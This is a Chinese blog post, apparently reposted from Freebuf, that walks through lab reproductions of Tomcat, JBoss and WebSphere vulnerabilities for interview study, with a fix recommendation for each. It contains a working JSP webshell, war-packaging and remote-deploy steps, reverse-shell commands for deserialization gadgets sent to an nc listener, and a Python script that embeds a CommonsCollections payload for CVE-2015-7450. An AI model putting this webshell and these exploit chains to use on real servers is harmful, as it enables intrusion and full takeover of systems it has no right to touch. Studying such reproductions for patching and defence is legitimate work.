常見中介軟體漏洞復現(上)
面試的時候會經常問關於中介軟體的漏洞,這裡做一下漏洞的復現鞏固一下
在虛擬機器中安裝docker環境具體就不演示了
Tomcat漏洞
Tomcat 任意檔案寫入(CVE-2017-12615)
影響範圍: Tomcat 7.0.0-7.0.81(預設配置)
測試環境:Apache Tomcat v8.5.39
漏洞本質:Tomcat配置檔案/conf/web.xml 配置了可寫(readonly=false),導致我們可以往伺服器寫檔案。如果配置了預設 ,則在9.0.1(Beta),8.5.23,8.0.47和7.0.82之前的所有Tomcat版本都包含所有作業系統上的潛在危險的CVE-2017-12615漏洞
docker開啟環境
docker ps docker exec -ti 9eb90787a80f bash cat conf/web.xml | grep readonly
可以看到Tomcat配置檔案/conf/web.xml 配置了可寫(readonly=false)
抓個包,修改一下資料包改成put,寫入一個jsp檔案(因為tomcat不能解析php檔案)
可以看到成功寫入任意檔案
既然可以寫入任意檔案,那也可以寫入後門來getshell
payload
<%! class U extends ClassLoader { U(ClassLoader c) { super(c); } public Class g(byte[] b) { return super.defineClass(b, 0, b.length); } } public byte[] base64Decode(String str) throws Exception { try { Class clazz = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); } catch (Exception e) { Class clazz = Class.forName("java.util.Base64"); Object decoder = clazz.getMethod("getDecoder").invoke(null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); } } %> <% String cls = request.getParameter("passwd"); if (cls != null) { new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext); } %>
修復建議:將readonly=true,預設為true。
Tomcat 遠端程式碼執行(CVE-2019-0232)
影響範圍:9.0.0.M1 ~ 9.0.17 , 8.5.0 ~ 8.5.39 , 7.0.0 ~ 7.0.93
測試環境:Apache Tomcat v8.5.39 、windows
漏洞本質:CVE-2019-0232漏洞是由於Tomcat CGI將命令列引數傳遞給Windows程式的方式存在錯誤,使得CHIServler被命令注入影響。該漏洞隻影響Windows平臺,要求啟用了CGIServlet和enableCmdLineArguments引數。但是CGIServlet和enableCmdLineArguments引數預設情況下都不啟用。
修改 \conf\web.xml配置檔案
376行和419行取消註釋並新增引數
<init-param> <param-name>debug</param-name> <param-value>0</param-value> </init-param> <init-param> <param-name>executable</param-name> <param-value></param-value> </init-param>
在content.xml 19行處新增privileged屬性為true
在Tomcat\webapps\ROOT\WEB-INF新建cgi目錄,並建立xxx.bat檔案,名字內容任意。
bin目錄下startup.bat 開啟tomcat服務
訪問執行net user 命令
(net命令的路徑要寫全,直接寫net user,Tomcat控制檯會提示net不是內部命令,也不是可執行的程式,另 必須使用+號連線,使用空格,%2B都會執行失敗,控制檯報錯。)
這裡我是失敗了,,返回了500,有懂的師傅可以一起討論一下
修復建議:這個預設是關閉的,如果開啟了請關閉,若需使用請升級版本。
Tomcat 檔案包含漏洞(CVE-2020-1938)
影響範圍:7 ~ 7.0.099 、8 ~ 8.5.50 、9 ~ 9.0.30
測試環境:Apache Tomcat v9.0.30
漏洞本質:由於 Tomcat AJP 協議設計上存在缺陷,攻擊者通過 Tomcat AJP Connector 可以讀取或包含 Tomcat 上所有 webapp 目錄下的任意檔案,例如可以讀取 webapp 配置檔案或原始碼。此外在目標應用有檔案上傳功能的情況下,配合檔案包含的利用還可以達到遠端程式碼執行的危害。
nmap掃到還有一個AJP埠8009正在監聽
使用工具讀取 web.xml檔案
嘗試了一下getshell,放了一個jsp後門,但是不能rce,直接把檔案都讀出來了。
修復建議:將 Tomcat 升級到 9.0.31、8.5.51或 7.0.100 版本進行漏洞修復。如無法立即進行版本更新、或者是更老版本的使用者,建議直接關閉AJPConnector,或將其監聽地址改為僅監聽本機localhost。
Tomcat + 弱口令 && 後臺getshell漏洞
環境:Apache Tomcat/7.0.94
在conf/tomcat-users.xml檔案中配置使用者的許可權和一個弱口令tomcat/tomcat:
Tomcat 7+的許可權有:
-
manager(後臺管理)
-
manager-gui擁有html頁面許可權
-
manager-status擁有檢視status的許可權
-
manager-script擁有text介面許可權(包括status許可權)
-
manager-jmx擁有jmx許可權(包括status許可權)
-
-
host-manager(虛擬主機管理)
-
admin-gui擁有html頁面許可權
-
admin-script擁有text介面許可權
-
<tomcat-users> <role rolename="manager-gui"/> <role rolename="manager-script"/> <role rolename="manager-jmx"/> <role rolename="manager-status"/> <role rolename="admin-gui"/> <role rolename="admin-script"/> <user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" /> </tomcat-users>
正常安裝的情況下,tomcat7.0.94中預設沒有任何使用者,且manager頁面只允許本地IP訪問。只有管理員手工修改了這些屬性的情況下,才可以進行攻擊。
訪問 ,輸入弱口令tomcat/tomcat進入後臺(弱口令可以進行爆破)
寫一個jsp的木馬(見上),然後打包成war包,上傳的war會被自動解壓部署
jar -cvf shell.war shell.jsp
war包是用來進行Web開發時一個網站專案下的所有程式碼,包括前臺HTML/CSS/JS程式碼,以及後臺JavaWeb的程式碼。 當開發人員開發完畢時,就會將原始碼打包給測試人員測試,測試完後若要釋出則也會打包成War包進行釋出。War包 可以放在Tomcat下的webapps或word目錄,當Tomcat伺服器啟動時,War包即會隨之解壓原始碼來進行自動部署。
可以看到已經上傳上去了,接著使用蟻劍連線後門
上傳的位置在webapps裡
修復建議:取消manager/html功能。若要使用,manager頁面應只允許本地IP訪問
JBoss漏洞
JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)
漏洞原理:該漏洞位於JBoss的HttpInvoker元件中的 ReadOnlyAccessFilter 過濾器中,其doFilter方法在沒有進行任何安全檢查和限制的情況下嘗試將來自客戶端的序列化資料流進行反序列化,導致攻擊者可以通過精心設計的序列化資料來執行任意程式碼。但有安全研究者發現JBOSSAS 6.x也受該漏洞影響,攻擊者利用該漏洞無需使用者驗證在系統上執行任意命令,獲得伺服器的控制權。
該漏洞出現在
/invoker/readonly
請求中,伺服器將使用者提交的POST內容進行了Java反序列化:
使用docker搭建漏洞環境
訪問 /invoker/readonly 返回500,說明頁面存在,此頁面存在反序列化漏洞。
使用工具 進行攻擊
首先使用nc建立一個監聽,然後使用工具
#生成ReverseShellCommonsCollectionsHashMap.class javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java #生成ReverseShellCommonsCollectionsHashMap.ser java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.0.108:9999(nc監聽埠) #訪問利用 curl
直接獲取到root許可權
修復建議:
-
刪除http-invoker.sar元件,路徑如下jboss-6.1.0.Final\server\default\deploy\http-invoker.sar
-
更新JBoss
JBoss <=4.x JBossMQJMS 反序列化漏洞(CVE-2017-7504)
漏洞原理:JBoss AS 4.x及之前版本中,JbossMQ實現過程的JMS over Invocation Layer的HTTPServerILServlet.java檔案存在反序列化漏洞,遠端攻擊者可藉助特製的序列化資料利用該漏洞執行任意程式碼。
訪問/jbossmq-httpil/HTTPServerILServlet,返回This is the JBossMQ HTTP-IL,說明頁面存在,此頁面存在反序列化漏洞
因為都是反序列化漏洞,攻擊時方式和之前一樣,先生成一個序列化資料,然後通過包傳送,生成方式一樣
#生成ReverseShellCommonsCollectionsHashMap.class javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java #生成ReverseShellCommonsCollectionsHashMap.ser java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.0.108:9999(nc監聽埠) #訪問利用 curl
JBoss JMXInvokerServlet 反序列化漏洞
訪問 /invoker/JMXInvokerServlet
說明介面開放,此介面存在反序列化漏洞
同樣這裡直接利用CVE-2017-12149生成的ser,傳送到 /invoker/JMXInvokerServlet介面中。
curl
JBoss EJBInvokerServlet 反序列化漏洞
訪問 /invoker/EJBInvokerServlet
說明介面開放,此介面存在反序列化漏洞
同樣這裡直接利用CVE-2017-12149生成的ser,傳送到 /invoker/EJBInvokerServlet介面中。
curl
Administration Console 弱口令 && 後臺getshell漏洞
在後臺管理控制檯爆破密碼
登陸後臺後上傳war包,和tomcat的漏洞同理,寫好一個jsp木馬打包成war檔案
jar -cvf shell.war shell.jsp
蟻劍連線
修復建議:
-
1. 修改密碼 C:\jboss-6.1.0.Final\server\default\conf\props\jmx-console-users.properties
-
2. 刪除Administration Console頁面。
JBoss版本>=6.0,admin-console頁面路徑為: C:\jboss-6.1.0.Final\common\deploy\admin-console.war
6.0之前的版本,路徑為C:\jboss-4.2.3\server\default\deploy\management\console-mgr.sar\web-console.war
JMX Console未授權訪問
JMXConsole預設存在未授權訪問,直接點選JBoss主頁中的JMXConsole連結進入JMXConsole頁面。
在JMXConsole頁面點選jboss.system連結,在Jboss.system頁面中點選service=MainDeployer
進入service=MainDeployer頁面之後,找到methodIndex為17 or 19的deploy 填寫遠端war包地址進行遠端部署。
(這裡點了invoke會跳到500,所以我直接在url構造上傳war包) HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://192.168.0.108/shell.war
顯示這樣就代表上傳成功
修復建議:
-
增加密碼措施,防止未授權訪問。
-
刪除JMXConsole,後重啟JBoss C:\jboss-6.1.0.Final\common\deploy\jmx-console.war
WebSphere
WebSphere® Application Server 加速交付新應用程式和服務,它可以通過快速交付創新的應用程式來幫助企業提供豐富的使用者體驗。從基於開放標準的豐富的程式設計模型中進行選擇,以便更好地協調專案需求與程式設計模型功能和開發人員技能。
同樣docker模擬WebSphere7環境
docker search WebSphere7 docker pull iscrosales/websphere7 docker run -d -p 9060:9060 -p 9043:9043 -p 8880:8880 -p 9080:9080 iscrosales/websphere7
Java反序列化(CVE-2015-7450)
訪問8880埠,出現如下介面,則可能存在Java反序列化漏洞
首先利用指令碼加密想要執行的命令
import base64 from binascii import unhexlify command = "要執行的命令" serObj = unhexlify("ACED00057372003273756E2E7265666C6563742E616E6E6F746174696F6E2E416E6E6F746174696F6E496E766F636174696F6E48616E646C657255CAF50F15CB7EA50200024C000C6D656D62657256616C75657374000F4C6A6176612F7574696C2F4D61703B4C0004747970657400114C6A6176612F6C616E672F436C6173733B7870737D00000001000D6A6176612E7574696C2E4D6170787200176A6176612E6C616E672E7265666C6563742E50726F7879E127DA20CC1043CB0200014C0001687400254C6A6176612F6C616E672F7265666C6563742F496E766F636174696F6E48616E646C65723B78707371007E00007372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000057372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E747400124C6A6176612F6C616E672F4F626A6563743B7870767200116A6176612E6C616E672E52756E74696D65000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000274000A67657452756E74696D65757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007400096765744D6574686F647571007E001E00000002767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707671007E001E7371007E00167571007E001B00000002707571007E001B00000000740006696E766F6B657571007E001E00000002767200106A6176612E6C616E672E4F626A656374000000000000000000000078707671007E001B7371007E0016757200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B470200007870000000017400") serObj += (chr(len(command)) + command).encode('ascii') serObj += unhexlify("740004657865637571007E001E0000000171007E00237371007E0011737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B020000787000000001737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F40000000000010770800000010000000007878767200126A6176612E6C616E672E4F766572726964650000000000000000000000787071007E003A") serObjB64 = base64.b64encode(serObj).decode() print(serObjB64)
訪問8880,並抓包,然後替換如下Payload進行復現。將指令碼輸出的serObjB64,替換到上面Payload中的params節點,其餘無需改變。
(不知道為什麼m.9是敏感詞彙,payload發不出來,參考一下別人的文章)[應用漏洞]CVE-2015-7450 WebSphere命令執行_不忘初心,護天下安全!-CSDN部落格
這裡我的將touch /tmp/1_Ry命令加密拼接到payload中,放包
或者利用python指令碼驗證該漏洞
後面試了一下反彈shell或者寫入後門,好像都執行不了,有大佬知道這個漏洞在實戰中的利用嗎
修復建議:
-
7.x版本已不提供支援,因此選擇升級版本。
-
若版本還在IBM支援範圍,可選擇打補丁。
弱口令 && 後臺Getshell
在6.x至7.0版本,後臺登陸只需要輸入 admin作為使用者標識,無需密碼,即可登陸後臺。
上傳war包後一直點下一步直到contex Root,然後繼續下一步
注意是9080埠,協議是http
修復建議
-
設定密碼。
來自 “ Freebuf ”, 原文作者:lryfish;原文連結:https://www.freebuf.com/vuls/323927.html,如有侵權,請聯絡管理員刪除。
相關文章
- Web中介軟體常見漏洞總結Web
- 常見訊息中介軟體之RocketMQMQ
- 常見訊息中介軟體之ActiveMQMQ
- 中介軟體漏洞
- weblogic中介軟體版本遷移常見問題Web
- Linux常見漏洞修復教程!Linux
- 訊息中介軟體應用的常見問題與方案
- 常見的Linux中介軟體有哪些?哪個比較好用?Linux
- 運維常見軟體問題排查與修復運維
- 淺談訊息佇列及常見的訊息中介軟體佇列
- 淺談中介軟體漏洞與防護
- 中介軟體漏洞攻防學習總結
- 利用CRM中介軟體Middleware從ERP下載CustomerMaterial的常見錯誤
- 利用CRM中介軟體Middleware從ERP下載Customer Material的常見錯誤
- DVWA中學習PHP常見漏洞及修復方法PHP
- weblogic中介軟體軟體上線標準化部署Web
- PHP 框架中介軟體實現PHP框架
- Redis中介軟體與Web中介軟體RedisWeb
- 得物技術訊息中介軟體應用的常見問題與方案
- PHP中介軟體ICE,ICE的安裝配置,ICE常見編譯和執行(異常)錯誤PHP編譯
- 【JAVA-WEB常見漏洞-XSS漏洞】JavaWeb
- 經常件之間的漏洞復現(下)
- Android 常見安全漏洞修復理論與實踐Android
- 中介軟體之訊息中介軟體-pulsar
- Redux 中介軟體的實現原理Redux
- 論PHP常見的漏洞PHP
- python常見漏洞總結Python
- Python開發常見漏洞Python
- Python中的10個常見安全漏洞及修復方法Python
- 理解Laravel中介軟體核心實現原理Laravel
- 常見軟體的預設埠號
- 軟體效能測試常見指標指標
- 常見的五種軟體架構架構
- redux中介軟體Redux
- Laravel 中介軟體Laravel
- 中介軟體(middleware)
- Django——中介軟體Django
- ThinkPHP 中介軟體PHP